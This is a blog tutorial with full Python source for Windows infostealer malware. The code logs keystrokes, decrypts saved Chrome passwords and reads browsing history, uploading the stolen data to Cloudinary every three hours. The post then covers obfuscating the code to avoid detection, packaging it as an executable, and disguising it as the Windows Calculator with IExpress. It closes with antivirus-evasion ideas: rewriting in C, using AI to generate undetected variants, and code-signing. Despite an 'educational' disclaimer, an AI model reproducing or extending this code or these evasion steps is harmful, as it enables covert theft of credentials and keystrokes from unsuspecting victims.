DEV Community

Cover image for Building a Keylogger, Chrome Password and History Extractor That Runs Every 3 Hours, Disguised as a Calculator App
paulsaul621
paulsaul621

Posted on • Edited on

Building a Keylogger, Chrome Password and History Extractor That Runs Every 3 Hours, Disguised as a Calculator App

Introduction:

Cybersecurity is a major concern in today’s digital landscape, but surprisingly, building tools that can capture sensitive information such as keystrokes, browser passwords, and history is easier than you might think. With basic Python knowledge and commonly available tools, anyone can create such a script and easily deploy it!

In this blog, we will demonstrate how to create a keylogger that captures keystrokes, extracts Chrome passwords and history, and runs stealthily in the background disguised as a calculator app. This tool will be run periodically every 3 hours and will upload the collected data to Cloudinary.

Disclaimer: This tutorial is for educational purposes only. Misuse of this information for unethical or illegal activities is strictly prohibited and could lead to serious legal consequences.


What We’re Building:

This project consists of the following elements:

  1. A Keylogger: Tracks and logs keystrokes, which are saved and uploaded once the buffer exceeds 500 characters.
  2. Chrome Password Extractor: Decrypts Chrome’s stored passwords and saves them to a file.
  3. Chrome Browsing History Extractor: Captures the user’s Chrome browsing history and stores it in a text file.
  4. Cloudinary Integration: All extracted data will be uploaded to Cloudinary for remote access.
  5. Periodic Execution: The tool will run automatically every 3 hours.
  6. Disguised as a Calculator App: We will package the tool using IExpress to disguise it as the Windows Calculator app.

Step-by-Step Guide to Building the Keylogger and Chrome Extractor

Step 1: Creating the Python Script

Let’s start by writing the core functionality of the app. The Python script will combine keylogging, Chrome password and history extraction, and data upload to Cloudinary.

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
from datetime import datetime, timedelta
import shutil
import cloudinary
import cloudinary.uploader
import time
import pynput  # For keylogger functionality

# Configure Cloudinary
cloudinary.config(
    cloud_name='YOUR_CLOUD_NAME',  
    api_key='YOUR_API_KEY',       
    api_secret='YOUR_API_SECRET'  
)

# Chrome password decryption
def chrome_date_and_time(chrome_data):
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)

def fetching_encryption_key_chrome():
    local_state_path = os.path.join(
        os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State"
    )
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state_data = json.loads(f.read())
    encryption_key = base64.b64decode(local_state_data["os_crypt"]["encrypted_key"])
    encryption_key = encryption_key[5:]
    return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]

def password_decryption_chrome(password, encryption_key):
    try:
        iv = password[3:15]
        password = password[15:]
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"

# Decrypt Chrome passwords and write to file
def decrypt_chrome_passwords(output_file):
    key = fetching_encryption_key_chrome()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromePasswords.db"
    shutil.copyfile(db_path, filename)

    db = sqlite3.connect(filename)
    cursor = db.cursor()

    cursor.execute(
        "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_last_used"
    )

    with open(output_file, 'a') as f:
        f.write("Decrypted Chrome Passwords:\n\n")
        for row in cursor.fetchall():
            main_url = row[0]
            login_page_url = row[1]
            user_name = row[2]
            decrypted_password = password_decryption_chrome(row[3], key)
            date_of_creation = row[4]
            last_usage = row[5]

            if user_name or decrypted_password:
                f.write(f"Main URL: {main_url}\n")
                f.write(f"Login URL: {login_page_url}\n")
                f.write(f"User name: {user_name}\n")
                f.write(f"Decrypted Password: {decrypted_password}\n")

            if date_of_creation and date_of_creation != 86400000000:
                f.write(f"Creation date: {str(chrome_date_and_time(date_of_creation))}\n")

            if last_usage and last_usage != 86400000000:
                f.write(f"Last Used: {str(chrome_date_and_time(last_usage))}\n")

            f.write("=" * 100 + "\n")

    cursor.close()
    db.close()
    os.remove(filename)

# Get browsing history and write to file
def get_chrome_history(output_file):
    history_db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "History")
    temp_history_db = "ChromeHistory.db"
    shutil.copyfile(history_db_path, temp_history_db)

    db = sqlite3.connect(temp_history_db)
    cursor = db.cursor()

    cursor.execute("SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 10")

    with open(output_file, 'a') as f:
        f.write("\n\nChrome Browsing History:\n\n")
        for row in cursor.fetchall():
            url = row[0]
            title = row[1]
            visit_count = row[2]
            last_visit_time = chrome_date_and_time(row[3])

            f.write(f"URL: {url}\n")
            f.write(f"Title: {title}\n")
            f.write(f"Visit Count: {visit_count}\n")
            f.write(f"Last Visit Time: {last_visit_time}\n")
            f.write("=" * 100 + "\n")

    cursor.close()
    db.close()
    os.remove(temp_history_db)

# Upload file to Cloudinary
def upload_to_cloudinary(file_path):
    response = cloudinary.uploader.upload(file_path, resource_type="raw")
    print("File uploaded to Cloudinary:", response['url'])

# Keylogger functionality
keylog_buffer = ""
def on_press(key):
    global keylog_buffer
    try:
        keylog_buffer += str(key.char)
    except AttributeError:
        keylog_buffer += f" {str(key)} "

    # If buffer reaches more than 500 characters, upload the content
    if len(keylog_buffer) >= 500:
        save_keylog()

def save_keylog():
    global keylog_buffer
    with open('keylog.txt', 'a') as f:
        f.write(keylog_buffer)
    keylog_buffer = ""  # Clear buffer after saving
    upload_to_cloudinary('keylog.txt')

def start_keylogger():
    from pynput.keyboard import Listener
    with Listener(on_press=on_press) as listener:
        listener.join()

# Main function to extract passwords, history, and upload to Cloudinary
def main_task():
    output_file = "chrome_data.txt"

    # Decrypt passwords and get history
    decrypt_chrome_passwords(output_file)
    get_chrome_history(output_file)

    # Upload the result to Cloudinary
    upload_to_cloudinary(output_file)

if __name__ == "__main__":
    from threading import Thread
    # Start keylogger in a separate thread
    keylogger_thread = Thread(target=start_keylogger)
    keylogger_thread.daemon = True  # Ensure it runs in the background
    keylogger_thread.start()

    while True:
        main_task()
        print("Next execution in 3 hours...")
        time.sleep(3 * 60 * 60)  # Sleep for 3 hours
Enter fullscreen mode Exit fullscreen mode

Step 2: Obfuscating the Code

To hide the malicious nature of the code and avoid detection, we’ll use PyArmor to obfuscate the script, making it harder to reverse-engineer.

  1. Install PyArmor:
   pip install pyarmor
Enter fullscreen mode Exit fullscreen mode
  1. Obfuscate the Script:
   pyarmor-7 obfuscate chrome_extractor.py
Enter fullscreen mode Exit fullscreen mode

PyArmor will generate an obfuscated version of your script inside the dist/ folder.


Step 3: Packaging the Obfuscated Script into an Executable

We’ll use PyInstaller to convert the obfuscated Python script into a standalone executable.

  1. Install PyInstaller:
   pip install pyinstaller
Enter fullscreen mode Exit fullscreen mode
  1. Package the Obfuscated Script:
   pyinstaller --onefile --noconsole --clean --noupx

 --hidden-import=win32crypt --version-file=version_info.txt obf/chrome_extractor.py
Enter fullscreen mode Exit fullscreen mode

This will create a standalone executable file that can be distributed and run on any system.


Step 4: Disguising the Application as a Calculator Using IExpress

Now that we have the executable, the next step is to disguise it as a legitimate app like the Windows Calculator using IExpress. This tool allows us to bundle the executable with a legitimate app, so when the user runs the installer, they believe they are installing or running the Calculator.

Steps for Disguising:

  1. Open IExpress: Press Windows + R and type iexpress.exe to launch the IExpress wizard.

  2. Create a New Package:

    • Select Create New Self Extraction Directive File.
  3. Select Extraction Options:

    • Choose Extract Files and Run an Installation Command.
  4. Add the Executables:

    • Add the obfuscated chrome_extractor.exe.
    • Also, search for calc.exe (Windows Calculator) on your computer (usually in C:\Windows\System32).
  5. Define Installation Commands:

    • After extraction, run calc.exe as the legitimate app, and run chrome_extractor.exe silently in the background.
  6. Configure the Rest of the Settings:

    • Follow the remaining prompts and finish building the installer.
  7. Save the Package: You’ll now have an executable installer that, when run, will launch the calculator while silently running the keylogger and data extractor in the background.


Demo Section

Video Demo: Running the Keylogger and Chrome Extractor

In this video, we will demonstrate how the tool works. We’ll show how the executable silently logs keystrokes, extracts Chrome passwords, and uploads the data to Cloudinary. The tool runs in the background, capturing data every 3 hours without any visible signs.

Video Demo: Disguising with IExpress and Running the Disguised Calculator

This video shows how to disguise the keylogger and data extractor as a legitimate application (Calculator) using IExpress. We will go through the entire process of creating a bundled installer that launches the Calculator while running the keylogger and Chrome extractor.


Conclusion:

In this guide, we built a powerful and stealthy keylogger and Chrome data extractor that runs every 3 hours in the background and uploads sensitive data to Cloudinary. By disguising the executable as a calculator using IExpress, the tool becomes even harder to detect.

This blog is intended for educational purposes only. Misusing such tools for illegal activities is unethical and can result in serious legal consequences. Always ensure you have explicit permission before collecting any data from a system.


Conclusion (Bonus/Based on Real Events):

Interestingly, while the disguised calculator app worked as intended, the antivirus eventually flagged it. However, it didn't happen until about 10 seconds after the execution. By that time, the keylogger had already started capturing keystrokes, and Chrome passwords were already being extracted and uploaded. This highlights how quickly malicious software can accomplish its objectives, even under the watchful eyes of security software.

One possible improvement would be to rewrite the code in a lower-level language, such as C or C++, which could potentially evade detection for a longer period or avoid flagging entirely. With AI tools, this process could even be automated, generating variations of the code that could run undetected before antivirus software catches on.

Moreover, digitally signing the executable with a trusted code-signing certificate can significantly reduce the likelihood of it being flagged by security tools. Signed executables are generally trusted more and might escape detection altogether.

In short, even though security software is constantly improving, the speed at which certain malicious actions can take place makes it clear that even temporary undetected execution can lead to significant data breaches.

Top comments (0)